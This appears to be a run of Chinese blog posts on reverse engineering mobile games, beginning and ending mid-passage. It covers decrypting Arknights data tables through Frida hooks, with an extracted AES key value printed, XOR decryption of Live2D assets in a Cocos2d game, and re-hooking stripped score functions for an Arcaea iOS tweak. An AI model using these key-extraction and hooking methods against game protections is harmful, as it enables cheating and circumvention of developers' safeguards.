*)(Class_UnityEngine_Object + 96) ) il2cpp_runtime_class_init_0(Class_UnityEngine_Object, 0); if ( Object__op_Equality(0, textAsset, 0, 0) == 1 ) { v14 = *(_DWORD *)(tableConfig + 12); if ( (*(_BYTE *)(Class_string + 178) & 1) != 0 && !*(_DWORD *)(Class_string + 96) ) il2cpp_runtime_class_init_0(Class_string, 0); isSuccess = 0; v15 = String__Concat_24998280(0, StringLiteral_11173, v14, 0); if ( (*(_BYTE *)(Class_UnityEngine_DLog + 178) & 1) != 0 && !*(_DWORD *)(Class_UnityEngine_DLog + 96) ) il2cpp_runtime_class_init_0(Class_UnityEngine_DLog, 0); DLog__LogError(0, v15, 0); return isSuccess; } } else { textAsset = *(_DWORD *)(tableConfig + 16); } convertSuccess = (*(int (__fastcall **)(int *, int, int, _DWORD))(*abstractTable + 228))( abstractTable, textAsset, converter, *(_DWORD *)(*abstractTable + 232)); if ( (*(_BYTE *)(Class_Torappu_Resource_ResourceManager + 178) & 1) != 0 && !*(_DWORD *)(Class_Torappu_Resource_ResourceManager + 96) ) { il2cpp_runtime_class_init_0(Class_Torappu_Resource_ResourceManager, 0); } isSuccess = 0; ResourceManager__UnloadAsset(0, textAsset); if ( convertSuccess == 1 ) { if ( (*(_BYTE *)(Class_string + 178) & 1) != 0 && !*(_DWORD *)(Class_string + 96) ) il2cpp_runtime_class_init_0(Class_string, 0); v17 = String__Format(0, StringLiteral_11174, abstractTable, 0); Color__get_blue(v20, 0, 0); if ( (*(_BYTE *)(Class_UnityEngine_DLog + 178) & 1) != 0 && !*(_DWORD *)(Class_UnityEngine_DLog + 96) ) il2cpp_runtime_class_init_0(Class_UnityEngine_DLog, 0); DLog__Log_40639780(0, v17, v20[0], v20[1], v20[2], v20[3], 0); isSuccess = 1; } return isSuccess; } LABEL_39: v19 = ((int (*)(void))loc_26E73D0)(); return CryptUtils__CalculateMD5FromFileOrEmpty(v19); }可以看到核心就在于：convertSuccess = // 此变量名称为猜测 (*(int (__fastcall **)(int *, int, int, _DWORD))(*abstractTable + 228))( abstractTable, textAsset, converter, *(_DWORD *)(*abstractTable + 232));要想找到此方法的地址就需要上动调了，不过在这之前，我们已经可以推断出此方法在AbstractTable的子/父类中，其参数一定包含一个TextAsset和一个IConverter。然后在Torappu.DB.ConstTable搜索到了疑似方法public override bool Init(TextAsset rawData, IConverter converter);，在IDA中为int __fastcall ConstTable__Init(int a1, int a2, _DWORD *a3, int a4)。另外可以看到DBLoader._DoLoadTable()中在成功加载后调用了DLog__Log_40639780()并传进了abstractTable，推测这个日志打印可能会包含有用的信息，因此我决定直接HookConverterFactory.Create()获取传递进来的converterType、Hook log方法来获取日志后根据内容反推converterType。node .\hook.js [*] Script loaded [*] Message: { type: 'send', payload: '0xc7119000' } [*] Message: { type: 'send', payload: 'Attach success, base address is 0xc7119000' } converterType: 0x2 log: B] Inited CharacterDB successfully log: B] Inited TokenDB successfully log: B] Inited SkillDB successfully log: B] Inited BuffDB successfully log: B] Inited stage_db (Torappu.StageDB) successfully log: B] Inited game_data_consts_db (Torappu.GameDataConstsDB) successfully log: B] Inited item_db (Torappu.ItemDB) successfully log: B] Inited StoryDB successfully log: B] Inited gacha_db (Torappu.GachaDB) successfully log: B] Inited audio_db (Torappu.Audio.Middleware.Data.TorappuAudioDB) successfully log: B] Inited enemy_db (Torappu.EnemyDB) successfully log: B] Inited RangeDB successfully converterType: 0x0 log: B] Inited building_db (Torappu.BuildingDB) successfully log: B] Inited handbook_info_db (Torappu.HandbookInfoDB) successfully log: B] Inited HandbookTeamDB successfully log: B] Inited mission_db (Torappu.MissionDB) successfully log: B] Inited zone_db (Torappu.ZoneDB) successfully log: B] Inited CharWordDB successfully log: B] Inited favor_db (Torappu.FavorDB) successfully log: B] Inited checkin_db (Torappu.CheckInDB) successfully log: B] Inited tip_db (Torappu.TipDB) successfully log: B] Inited skin_db (Torappu.SkinDB) successfully log: B] Inited open_server_db (Torappu.OpenServerDB) successfully log: B] Inited EnemyHandBookDB successfully log: B] Inited activity_db (Torappu.ActivityDB) successfully log: B] Inited clue_db (Torappu.ClueDB) successfully log: B] Inited shop_client_db (Torappu.ShopClientDB) successfully converterType: 0x2从log可以看出数据对应的转换方法，这里关心的是Torappu.GachaDB，对应0x2即CRYPTIC_A。0x2 解密CrypticConverter_A为老熟人AES-128-CBC。先看看CrypticConverter_A的构造器伪方法：void *__fastcall CrypticConverter_A___ctor(int a1) { int v2; // r5 void *temp; // r0 void *v4; // r1 int chatMask; // r0 int _chatMask; // r5 int *m_rm; // r6 int m_rm2; // r6 int encoding; // r7 int encoding_1; // r6 void *result; // r0 int v12; // r0 int *v13; // r4 if ( !byte_3023EC7 ) { sub_26B1D18(14805); byte_3023EC7 = 1; } v2 = Class_byte__; sub_26A3FD8(Class_byte__); *(_DWORD *)(a1 + 0x14) = il2cpp_array_new_specific_0(v2, 16);// this.m_iv = new byte[16] CrypticConverter___ctor(a1); temp = (void *)Singleton__get_instance(0, Method_Singleton_PlayerData__get_instance__); if ( temp ) { chatMask = PlayerData__get_chatMask((int)temp); _chatMask = chatMask; if ( !chatMask || String__get_Length(chatMask, 0) != 32 ) { v13 = sub_26F735C(Class_System_Exception); Exception___ctor_20095288(v13, StringLiteral_11171, 0); v12 = ((int (__fastcall *)(int *))il2cpp_raise_exception_0)(v13); return (void *)CryptUtils__CalculateMD5FromFileOrEmpty(v12); } m_rm = sub_26F735C(Class_System_Security_Cryptography_RijndaelManaged); temp = (void *)RijndaelManaged___ctor((int)m_rm); *(_DWORD *)(a1 + 0x10) = m_rm; // this.m_rm = new RijndaelManaged if ( m_rm ) { (*(void (__cdecl **)(size_t))(*m_rm + 0x14C))((size_t)m_rm); temp = *(void **)(a1 + 0x10); // temp = m_rm if ( temp ) { (*(void (__cdecl **)(wint_t))(*(_DWORD *)temp + 348))((wint_t)temp); m_rm2 = *(_DWORD *)(a1 + 0x10); if ( (*(_BYTE *)(Class_System_Text_Encoding + 178) & 1) != 0 && !*(_DWORD *)(Class_System_Text_Encoding + 96) ) il2cpp_runtime_class_init_0(Class_System_Text_Encoding, 0); encoding = Encoding__get_UTF8(); temp = (void *)String__Substring_25026412(_chatMask, 0, 16, 0); v4 = temp; if ( encoding ) { temp = (*(void *(__cdecl **)(size_t))(*(_DWORD *)encoding + 0x104))(encoding);// temp = chatMask[:16] v4 = temp; if ( m_rm2 ) { (*(void (__fastcall **)(int, void *, _DWORD))(*(_DWORD *)m_rm2 + 0x11C))( m_rm2, temp, *(_DWORD *)(*(_DWORD *)m_rm2 + 0x120)); encoding_1 = Encoding__get_UTF8(); temp = (void *)String__Substring_25026412(_chatMask, 16, 16, 0); v4 = temp; if ( encoding_1 ) { result = (*(void *(__cdecl **)(size_t))(*(_DWORD *)encoding_1 + 0x104))(encoding_1);// result = chatMask[16:32] *(_DWORD *)(a1 + 24) = result; // this.m_ivMask = result return result; } } } } } } v12 = ((int (__fastcall *)(void *, void *))loc_26E73D0)(temp, v4); return (void *)CryptUtils__CalculateMD5FromFileOrEmpty(v12); }在这里可以发现chatMask扮演了重要角色，联想到AES-128的key和iv长度为16，很容易怀疑都与chatMask有关。chatMask属于类PlayerData，难道对于不同玩家来说数值不一致？？？（剧透：都是一样的）另外注意这里将m_ivMask设置为了chatMask[16:]，猜测chatMask[:16]就是key。再看看实际进行解密的CrypticConverter_A.DecodeInternal()伪方法：int __fastcall CrypticConverter_A__DecodeInternal(int a1, int src, int dst) { int src_1; // r9 unsigned int v6; // r0 unsigned int int_16; // r7 signed int v8; // r0 unsigned int int_0; // r4 char _src; // r6 int v11; // r0 int m_ivMask; // r8 int m_iv; // r5 int v14; // r0 char ivMask_xor_src; // r6 int v16; // r0 int RijndaelManaged_m_rm; // r0 int RijndaelManaged_m_rm_1; // r0 _DWORD *v19; // r0 _DWORD *v20; // r5 int v21; // r0 int v22; // r4 int v23; // r3 int v24; // r7 int v25; // r0 int v26; // r0 int v27; // r1 int result; // r0 int v29; // r0 int v30; // r3 int v31; // r4 int v32; // r0 if ( !byte_3023EC9 ) { sub_26B1D18(14806); byte_3023EC9 = 1; } src_1 = Misc__ReadAllBytes(0, src, 0); if ( src_1 ) { v6 = 0x10u; // 16 while ( 1 ) { int_16 = v6; // 16 v8 = *(_DWORD *)(src_1 + 12); int_0 = int_16 - 16; // 0 _src = 0; if ( (int)(int_16 - 16) < v8 ) { if ( v8 <= int_0 ) { v11 = sub_26E81BC(); ((void (__fastcall *)(int))il2cpp_raise_exception_0)(v11); } _src = *(_BYTE *)(src_1 + int_16); } m_ivMask = *(_DWORD *)(a1 + 0x18); // *this + 24 = byte[] m_ivMask if ( !m_ivMask ) break; m_iv = *(_DWORD *)(a1 + 0x14); // *this + 20 = byte[] m_iv if ( *(_DWORD *)(m_ivMask + 0xC) <= int_0 )// if(m_ivMask.length <= 0) { v14 = sub_26E81BC(); ((void (__fastcall *)(int))il2cpp_raise_exception_0)(v14); } if ( !m_iv ) break; ivMask_xor_src = *(_BYTE *)(m_ivMask + int_16) ^ _src; if ( *(_DWORD *)(m_iv + 0xC) <= int_0 ) { v16 = sub_26E81BC(); ((void (__fastcall *)(int))il2cpp_raise_exception_0)(v16); } v6 = int_16 + 1; *(_BYTE *)(m_iv + int_16) = ivMask_xor_src;// m_iv = ivMask_xor_src if ( (int)(int_16 - 15) >= 16 ) { RijndaelManaged_m_rm = *(_DWORD *)(a1 + 0x10); if ( RijndaelManaged_m_rm ) { (*(void (__fastcall **)(int, _DWORD, _DWORD))(*(_DWORD *)RijndaelManaged_m_rm + 268))( RijndaelManaged_m_rm, *(_DWORD *)(a1 + 0x14), // m_iv *(_DWORD *)(*(_DWORD *)RijndaelManaged_m_rm + 272)); RijndaelManaged_m_rm_1 = *(_DWORD *)(a1 + 0x10); if ( RijndaelManaged_m_rm_1 ) { v19 = (_DWORD *)(*(int (__fastcall **)(int, _DWORD))(*(_DWORD *)RijndaelManaged_m_rm_1 + 356))( RijndaelManaged_m_rm_1, *(_DWORD *)(*(_DWORD *)RijndaelManaged_m_rm_1 + 360)); v20 = v19; if ( v19 ) { v21 = *v19; v22 = *(_DWORD *)(src_1 + 12); if ( *(_WORD *)(*v20 + 170) ) { v23 = *(_DWORD *)(v21 + 76); v24 = 0; while ( *(_DWORD *)(v23 + 8 * v24) != Class_System_Security_Cryptography_ICryptoTransform ) { if ( ++v24 >= (unsigned int)*(unsigned __int16 *)(*v20 + 170) ) goto LABEL_23; } v25 = v21 + 8 * *(_DWORD *)(v23 + 8 * v24 + 4) + 220; } else { LABEL_23: v25 = sub_26A6A34(v20, Class_System_Security_Cryptography_ICryptoTransform, (const char *)5); } v27 = (*(int (__fastcall **)(_DWORD *, int, int, int, _DWORD))v25)( v20, src_1, 16, v22 - 16, *(_DWORD *)(v25 + 4)); if ( v27 ) { if ( dst ) { result = (*(int (__fastcall **)(int, int, _DWORD, _DWORD, _DWORD))(*(_DWORD *)dst + 340))( dst, v27, 0, *(_DWORD *)(v27 + 12), *(_DWORD *)(*(_DWORD *)dst + 344)); if ( v20 ) { v29 = *v20; if ( *(_WORD *)(*v20 + 170) ) { v30 = *(_DWORD *)(v29 + 76); v31 = 0; while ( *(_DWORD *)(v30 + 8 * v31) != Class_System_IDisposable ) { if ( ++v31 >= (unsigned int)*(unsigned __int16 *)(*v20 + 170) ) goto LABEL_35; } v32 = v29 + 8 * *(_DWORD *)(v30 + 8 * v31 + 4) + 180; } else { LABEL_35: v32 = sub_26A6A34(v20, Class_System_IDisposable, 0); } result = (*(int (__fastcall **)(_DWORD *, _DWORD))v32)(v20, *(_DWORD *)(v32 + 4)); } return result; } } } } } break; } } } v26 = ((int (*)(void))loc_26E73D0)(); return CryptUtils__CalculateMD5FromFileOrEmpty(v26); }可以看到第67行用m_ivMask去异或输入的文件即得到了真正的iv。直接HookPlayerData.get_chatMask()打印返回值、HookRijndaelManagedTransform的构造器打印key和iv：node .\hook.js [*] Script loaded [*] Message: { type: 'send', payload: '0xc6f90000' } [*] Message: { type: 'send', payload: 'Attach success, base address is 0xc6f90000' } #onEnter:get_chatMask 8OjXUSNSi8yXC0u98mNWvh7MRLGhyEuQ #onEnter:RijndaelManagedTransform$$ctor Key: 00000000 38 4f 6a 58 55 53 4e 53 69 38 79 58 43 30 75 39 8OjXUSNSi8yXC0u9 IV: 00000000 7b 0d 0a 20 20 22 63 68 61 72 5f 32 38 35 5f 6d {.. "char_285_m #onEnter:RijndaelManagedTransform$$ctor Key: 00000000 38 4f 6a 58 55 53 4e 53 69 38 79 58 43 30 75 39 8OjXUSNSi8yXC0u9 IV: 00000000 7b 0d 0a 20 20 22 74 72 61 70 5f 30 30 34 5f 69 {.. "trap_004_i #onEnter:RijndaelManagedTransform$$ctor Key: 00000000 38 4f 6a 58 55 53 4e 53 69 38 79 58 43 30 75 39 8OjXUSNSi8yXC0u9 IV: 00000000 7b 0d 0a 20 20 22 73 6b 63 6f 6d 5f 63 68 61 72 {.. "skcom_char #onEnter:RijndaelManagedTransform$$ctor Key: 00000000 38 4f 6a 58 55 53 4e 53 69 38 79 58 43 30 75 39 8OjXUSNSi8yXC0u9 IV: 00000000 7b 0d 0a 20 20 22 73 6c 75 67 67 69 73 68 22 3a {.. "sluggish":可以发现key就是chatMask的前16字节（已更换），异或后的iv其实就是明文件的前16字节。至此，key和iv的算法都拿到了，写个解密程序就万事大吉了。那么chatMask对不同玩家来说不同吗？不：另外咕掉的模拟器（两年前的，插件版本对不上了，连预览都炸了...）：
[scode type="yellow"]此文为补写，意为记录，已不适用于目前版本游戏[/scode]0x0 故事那是2017年... 突然两张GIF刷爆了我加的多个群组。 大伙们都是LSP了，看到这哪还顶得住，纷纷开始寻找原游戏出处。然后发现是TapTap中还未上架的游戏《宝石研物语》，这还不得感觉关注一波？于是游戏关注度飞涨。然后...不太妙的感觉...不过不碍事，游戏关注持续增加。一直到上线后一度挤爆服务器，后续多天也经常维护。至于玩家们最关注的Live2D，则不出意外的惨遭和谐，掀裙子的动画直接消失了。这哪能忍，那么就尝试看看资源文件，是否真的删掉了动画还是仅不播放此动画了。0x1 资源解密解压安装包，assets\res\下有live2d文件夹。好耶，点开模型配置文件model.json！...坏耶，被加密了，再看看动作文件，贴图文件等，发现全部被加密，且文件头为都为gemtrade。结合这游戏是Cocos2d-Lua开发的，盲猜一波是xxtea加密（?）。掏出IDA，加载libcocos2dlua.so，定位到cocos2d::FileUtils::getDataFromFile（），伪代码：cocos2d::Data *__fastcall cocos2d::FileUtils::getDataFromFile(cocos2d::Data *a1, cocos2d::FileUtils *a2, int a3, _BYTE *a4) { int v8; // r2 int v10[8]; // [sp+0h] [bp-20h] BYREF cocos2d::Data::Data(a1); v8 = *(_DWORD *)a2; v10[1] = (int)a1; v10[0] = (int)off_CD734C60; (*(void (__fastcall **)(cocos2d::FileUtils *, int, int *))(v8 + 28))(a2, a3, v10); if ( !cocos2d::Data::isNull(a1) ) *a4 = cocos2d::FileUtils::decodeData(a2, a1); return a1; }发现多了一个FileUtils::decodeData()方法，那么它应该就是目标了，此方法中调用FileUtils::decodeBuffer()紧接着FileUtils::decodeXOR()，伪代码：char *__fastcall cocos2d::FileUtils::decodeXOR(cocos2d::FileUtils *this, unsigned __int8 *a2, int a3, int *a4) { unsigned int v8; // r4 int v9; // r5 int v10; // r8 int v11; // r0 unsigned int v12; // r6 unsigned int v13; // r8 unsigned int v14; // r10 unsigned int v15; // r5 char *v16; // r11 int v17; // r0 __int16 v18; // r12^2 char *v19; // r3 unsigned int v20; // r0 unsigned int v21; // r2 if ( a3 <= 19 ) return 0; v8 = memcmp(&unk_CD6C15E8, a2, 8u); if ( v8 ) return 0; v9 = cocos2d::FileUtils::char2uint(this, a2, 8); v10 = cocos2d::FileUtils::char2uint(this, a2, 12); v11 = cocos2d::FileUtils::char2uint(this, a2, 16); v12 = (unsigned int)(v11 + v10) >> 1; v13 = (unsigned int)(v10 - v11) >> 1; v14 = a3 - 20; *a4 = v14; v15 = v9 - v12 * v13; v16 = (char *)malloc(v14); memcpy(v16, a2 + 20, v14); while ( 1 ) { v17 = cocos2d::FileUtils::char2uint(this, (unsigned __int8 *)v16, v8); v18 = HIWORD(v17) ^ HIWORD(v15); v16[v8] = v17 ^ v15; v19 = &v16[v8]; v8 += 4; v20 = (v17 ^ v15) >> 8; v21 = v14 - v8; --v15; v19[1] = v20; *((_WORD *)v19 + 1) = v18; if ( v14 <= v8 || v21 <= 3 ) break; if ( v12 <= v8 && v12 < v21 ) { v8 += v13; if ( v14 < v8 || v12 > v14 - v8 ) v8 = v14 - v12; } } return v16; }其中unk_CD6C15E8查看为gemtrade。::aru:knife:: 竟然不是xxtea，那么接下来的就是复制粘贴解密了。另外当时求助过浮冰大佬，他认识的大佬也有在研究这个解密，于是直接丢给了我一份成品。不用动手真的太爽了::aru:flower::。解密程序大佬已开源：28598519a/bsydecrypt: a tool can decrypt the file from 寶石研物語 (github.com)解密Live2D后发现没有删除动画，好耶，当时甚至拿Live2D官方模板搓了个APK丢群里玩::aru:cryingface::。 if (window.Hoshi) { window.Hoshi.loadJs("https://cdn.jsdelivr.net/combine/gh/Dreamer-Paul/Pio@master/static/l2d.min.js,gh/Dreamer-Paul/Pio@master/static/pio.min.js", function () { let pio = new Paul_Pio({ "mode": "static", "hidden": false, "content": { "welcome": "欢迎查看本文" }, "model": [ "../../usr/static/articles/gemtrade/magelite/model.json", ] }); }) };
[scode type="yellow"]本文于完成2个月后凭回忆补写并重新配图，且博主并未学过C系语言，难免会有错漏，请见谅[/scode][scode type="lblue"]博主使用设备为iPad Pro 10.5（2017）架构为ARM64，文中所有修改都针对ARM64[/scode][scode type="red"]免责声明：本文禁止转载，仅为博主安全研究学习记录，强烈反对参考本文内容进行不正当用途，包括但不限于作弊行为等。请后果自负。[/scode]0x0 前言由大佬 esterTion 编写的iOS插件 ArcaeaCountdownScore 用于lowiro制作的音游Arcaea。此插件的作用是将游戏分数计算改为倒计分制，即开局满分，产生每个far或者lost时分数递减。这种计分制度对我这种菜鸡即为有用，可以更容易的提前许多预估出本局打歌是否可以达到理想的分数并选择继续还是重试。而616截止至目前（写文时3.6.4）都没有推出具有此功能的搭档。不幸的是，插件在很久前就失效了，表现为什么反应都没有，而鸽王一直都没有更新，我也一直在等待。此时的我并未加入任何音游相关的群组。直至616推出了3.6.0版本更新，此版本中在请求头中新增了X-Random-Challenge字段来验证请求，与此相关的代码逆出来看着简直像一坨shit。于是我想尝试加入一些音游群组向大佬们取经。进入一些群组后才发现原来 esterTion已然弃坑许久（具体原因可参见其B站动态），那么大佬们不再维护ArcaeaCountdownScore，就只能自己撸起袖子上了。。。小知识：616在iOS 3.6.0版本请求头中同时也加入了X-Client-Certificate-Subject-CN以及EnableObfuseCheck，而安卓则在后续版本中加入趣事：616在iOS 3.6.0版本中意外（？）打包进了Algo.zip0x1 方法注入拿到 ArcaeaCountdownScore 源码后首先看看hook的方法：ArcUtil_calculateScore = (unsigned long)MSFindSymbol(NULL, "__ZN7ArcUtil14calculateScoreEiiiii");::aru:blood2:: 怪不得没有任何反应了，iOS二进制文件中已经没有了符号，插件无从找起，方法都没有被替换，当然什么反应都没有了。那么当务之急就是找到新的方法位置进行hook。iOS中没有符号了，那么掏出安卓版3.6.0的二进制想办法对比定位。找到ArcUtil::calculateScore()，然后按x寻找其xref引用，可见一堆调用了calculateScore()的方法。接下来就是在这些方法中找出可以用于在iOS二进制中搜索的信息，由于我之前就有看过OnlineManager::submitScoreInternal()方法，并且此方法中也调用了calculateScore()，所以直接选择从此方法入手。伪代码： v133 = std::string::append((int)&v550, "&score=", 7u); v134 = *(_OWORD *)v133; v553 = *(void **)(v133 + 16); v552 = v134; *(_QWORD *)(v133 + 8) = 0LL; *(_QWORD *)(v133 + 16) = 0LL; *(_QWORD *)v133 = 0LL; v135 = (std::__ndk1 *)ArcUtil::calculateScore( (ArcUtil *)*(unsigned int *)(a4 + 32), *(_DWORD *)(a4 + 28), *(_DWORD *)(a4 + 24), *(_DWORD *)(a4 + 20), *(_DWORD *)(a4 + 28) + *(_DWORD *)(a4 + 32) + *(_DWORD *)(a4 + 24), *(_BYTE *)(a4 + 132)); std::to_string(v135, v136);可以看到调用calculateScore()方法前有个字符串拼接，其中部分字符串为&score=，那么就可以在iOS的二进制中搜索此字符串：找到后查找其引用进入的即为OnlineManager::submitScoreInternal()方法（如果使用其他引用进行查找发现多个调用，则需要对比找到其在iOS中对应方法），伪代码： v72 = std::string::append(&v328, "&score="); v73 = *(_OWORD *)v72; v331 = *(_QWORD *)(v72 + 16); v330 = v73; *(_QWORD *)(v72 + 8) = 0LL; *(_QWORD *)(v72 + 16) = 0LL; *(_QWORD *)v72 = 0LL; v74 = (std::__1 *)sub_10025F358(); std::to_string(v74, v75); v76 = std::string::append();则ArcUtil::calculateScore()在iOS中为位置在base + 0x25F358，查看该方法的汇编对应二进制：CMP W2, W4 B.NE loc_10025F370 CBNZ W5, loc_10025F370 MOV W8, #0x989680 5F 00 04 6B A1 00 00 54 85 00 00 35 08 D0 92 52将原代码中通过符号查找ArcUtil::calculateScore()修改为通过二进制查找。摘取部分代码，对应 ArcaeaCountdownScore中第173-186行：uint8_t calculateScore_inst[] = { 0x5f, 0x00, 0x04, 0x6b, 0xa1, 0x00, 0x00, 0x54, 0x85, 0x00, 0x00, 0x35, 0x08, 0xd0, 0x92, 0x52 }; // ------------摘取部分代码------------- if (instcmp((uint8_t*)ptr, calculateScore_inst, 16)) { ArcUtil_calculateScore = (unsigned long)ptr; found_calculateScore = true; NSLog(@"[arc-score] found calculateScore at %lx", ArcUtil_calculateScore); } 那么对此方法的寻址就修改完成了，值得一提的是，此方法参数列表末尾新增了一个布尔参数，顺便加上：int (*orig_ArcUtil_calculateScore)(int lost, int far, int pure, int shiny_pure, int note_count, bool param_6); int hacked_ArcUtil_calculateScore(int lost, int far, int pure, int shiny_pure, int note_count, bool param_6) { }至此，ArcUtil::calculateScore()的注入修改完成了，接下来就是对ScoreState::init()，ScoreState::hitNote()以及ScoreState::missNote()进行类似的寻找及修改了。ScoreState::init()可通过10ScoreState找到_ZTV10ScoreState DCQ 0，接着查看其引用发现sub_10013DC88()，此方法伪代码： *(_QWORD *)v7 = off_100924018; *(_QWORD *)(v7 + 36) = 0x42C8000000000000LL; *(_WORD *)(v7 + 44) = 256; *(_DWORD *)(v7 + 176) = 0; *(_BYTE *)(v7 + 180) = 0; *(_QWORD *)(v7 + 184) = 0LL; *(_BYTE *)(v7 + 200) = 0; *(_OWORD *)(v7 + 48) = 0u; *(_OWORD *)(v7 + 64) = 0u; *(_QWORD *)(v7 + 92) = 0LL; *(_QWORD *)(v7 + 84) = 0LL; *(_QWORD *)(v7 + 124) = 0LL; *(_QWORD *)(v7 + 116) = 0LL; *(_BYTE *)(v7 + 132) = 0; if ( (unsigned int)sub_10022E8B8(v7, a1, a2, v8, a4) ) <---- 这里就是ScoreState::init() { sub_10052C380(v7); } else { (*(void (__fastcall **)(__int64))(*(_QWORD *)v7 + 8LL))(v7); v7 = 0LL; }ScoreState::hitNote()查找31CharacterAbilityGaugeRateModify -> _ZTI31CharacterAbilityGaugeRateModify DCQ。查看其引用发现sub_10022ED60+A0 ADRL X2, _ZTI31CharacterAbilityGaugeRateModify;，此方法即为ScoreState::hitNote()ScoreState::missNote()查找17LogicLongNoteBase -> _ZTI17LogicLongNoteBase DCQ。调用此类型的方法有点多，3.6.0中发现ScoreState::missNote对应的是sub_1001CBCC0+38 ADRL X1, _ZTI17LogicLongNoteBase;将上面3个方法都找出并将其对应二进制作为特征进行暴力搜索查找注入。另外因为hitNote()和missNote()都调用了ArcUtil::calculateScore()，因此需要补上新增的布尔参数。查看hitNote()的伪代码发现有调用，如下第六个参数即为我们需要的： result = sub_10025F358( *(unsigned int *)(a1 + 96), *(_DWORD *)(a1 + 92), *(_DWORD *)(a1 + 88), *(_DWORD *)(a1 + 84), *(_DWORD *)(*(_QWORD *)(a1 + 160) + 160LL), *(unsigned __int8 *)(a1 + 200));对插件进行修改，拿到此变量传入hacked_ArcUtil_calculateScore()就完成了bool _bool = *(bool*)(((char*)a1) + 200); int score = hacked_ArcUtil_calculateScore(scoreState->lost, scoreState->far, scoreState->pure, scoreState->shiny_pure, scoreState->noteCount, _bool);至此，3.6.0的方法注入就修改完成了。0x2 ScoreState结构体好耶，能正确寻找到方法注入了，可以完事睡大觉了对吧？...进入歌曲，闪退。::aru:knife::...打打log，发现这行导致的闪退：ScoreState *scoreState = (ScoreState*)a1;那么应该就是ScoreState这个结构体有变，嗯..去看看看... 噫？IDA里找不到这个struct，那就看看成员调用猜吧... 完全看不懂.jpg ::aru:dead:: 那就看内存吧。我iPad中已经装有插件DLGMemor-Injected，oslog及frida等常用插件，现在既然已经成功注入方法，就直接使用DLGMemor-Injected查看内存好了。注释掉修改后方法的方法体，在hacked_ScoreState_hitNote()中打印a1，即ScoreState的地址，并调用原方法返回：NSLog(@"[arc-score ScoreState:hitNote] ScoreState *scoreState = (ScoreState*)a1; a1:0x%lx", a1); long returnVal = orig_ScoreState_hitNote(a1, a2, a3, a4, a5); return returnVal;在hacked_ArcUtil_calculateScore()中打印lost,far等参数NSLog(@"[arc-score ArcUtil_calculateScore] lost:%d far:%d pure:%d shiny_pure:%d note_count:%d score:%d param_6:%d", lost, far, pure, shiny_pure, note_count, returnVal, param_6);重新编译安装插件，打一会儿歌，补写本文时打的是Dot to Dot，随意打几个far和lost后暂停，查看log：<Notice>: [arc-score ScoreState:hitNote] ScoreState *scoreState = (ScoreState*)a1; a1:0x283a98b60掏出DLGMemor-Injected，开启对Arcaea的注入，点击下方memory，输入此地址点search即跳转至对应位置了。复制记录下此时的内存。顺便写个Quality of Life脚本处理下地址值：[collapse status="false" title="内存dump地址处理脚本"]base_addr = 0x283A98B60 dump = """283A98B60 40 87 EB 02 01 00 00 00 @....... 283A98B68 01 00 00 00 00 00 00 00 ........ 283A98B70 E3 02 00 00 48 00 00 00 ....H... 283A98B78 75 F2 96 00 D1 50 32 00 u....P2. 283A98B80 49 4D 84 42 00 00 00 00 IM.B.... 283A98B88 00 00 C8 42 00 01 00 00 ...B.... 283A98B90 00 00 00 00 00 00 00 00 ........ 283A98B98 00 00 00 00 00 00 00 00 ........ 283A98BA0 00 00 00 00 00 00 00 00 ........ 283A98BA8 00 00 00 00 00 00 00 00 ........ 283A98BB0 12 00 00 00 6A 00 00 00 ....j... 283A98BB8 6F 00 00 00 04 00 00 00 o....... 283A98BC0 06 00 00 00 11 00 00 00 ........ 283A98BC8 16 00 00 00 08 00 00 00 ........ 283A98BD0 24 00 00 00 03 00 00 00 $....... 283A98BD8 01 00 00 00 03 00 00 00 ........ 283A98BE0 02 00 00 00 00 00 00 00 ........ 283A98BE8 68 F1 56 3E 00 00 00 00 h.V>.... 283A98BF0 00 00 00 00 00 00 00 00 ........ 283A98BF8 02 00 00 00 00 00 00 00 ........ 283A98C00 00 C0 E8 83 02 00 00 00 ........ 283A98C08 00 00 00 00 00 00 00 00 ........ 283A98C10 D0 5C 00 00 00 00 00 00 .\...... 283A98C18 83 00 00 00 24 00 00 00 ....$... 283A98C20 80 CF F2 82 02 00 00 00 ........ 283A98C28 00 00 00 00 00 00 00 00 ........ 283A98C30 CC 00 00 00 00 00 00 00 ........ 283A98C38 00 00 00 00 00 00 80 BF ........ 283A98C40 00 00 00 C0 00 00 80 3F .......? """ qol = "" for line in dump.split("\n"): parts = line.split(" ", maxsplit=1) if len(parts) == 2: addr, content = parts addr = int(addr, 16) - base_addr qol += str(addr).zfill(3) + " " + content + "\n" print(qol) [/collapse][collapse status="false" title="内存dump 1"]000 40 87 EB 02 01 00 00 00 @....... 008 01 00 00 00 00 00 00 00 ........ 016 E3 02 00 00 48 00 00 00 ....H... 024 75 F2 96 00 D1 50 32 00 u....P2. 032 49 4D 84 42 00 00 00 00 IM.B.... 040 00 00 C8 42 00 01 00 00 ...B.... 048 00 00 00 00 00 00 00 00 ........ 056 00 00 00 00 00 00 00 00 ........ 064 00 00 00 00 00 00 00 00 ........ 072 00 00 00 00 00 00 00 00 ........ 080 12 00 00 00 6A 00 00 00 ....j... 088 6F 00 00 00 04 00 00 00 o....... 096 06 00 00 00 11 00 00 00 ........ 104 16 00 00 00 08 00 00 00 ........ 112 24 00 00 00 03 00 00 00 $....... 120 01 00 00 00 03 00 00 00 ........ 128 02 00 00 00 00 00 00 00 ........ 136 68 F1 56 3E 00 00 00 00 h.V>.... 144 00 00 00 00 00 00 00 00 ........ 152 02 00 00 00 00 00 00 00 ........ 160 00 C0 E8 83 02 00 00 00 ........ 168 00 00 00 00 00 00 00 00 ........ 176 D0 5C 00 00 00 00 00 00 .\...... 184 83 00 00 00 24 00 00 00 ....$... 192 80 CF F2 82 02 00 00 00 ........ 200 00 00 00 00 00 00 00 00 ........ 208 CC 00 00 00 00 00 00 00 ........ 216 00 00 00 00 00 00 80 BF ........ 224 00 00 00 C0 00 00 80 3F .......?[/collapse]接着回游戏再打一会儿歌暂停，再次记录内存。[collapse status="false" title="内存dump 2"]000 40 87 EB 02 01 00 00 00 @....... 008 01 00 00 00 00 00 00 00 ........ 016 E3 02 00 00 7A 00 00 00 ....z... 024 B7 88 96 00 92 2D 32 00 .....-2. 032 69 19 A5 42 00 00 00 00 i..B.... 040 00 00 C8 42 00 01 00 00 ...B.... 048 00 00 00 00 00 00 00 00 ........ 056 00 00 00 00 00 00 00 00 ........ 064 00 00 00 00 00 00 00 00 ........ 072 00 00 00 00 00 00 00 00 ........ 080 7A 00 00 00 DE 00 00 00 z....... 088 E7 00 00 00 06 00 00 00 ........ 096 07 00 00 00 25 00 00 00 ....%... 104 2E 00 00 00 0C 00 00 00 ........ 112 2A 00 00 00 04 00 00 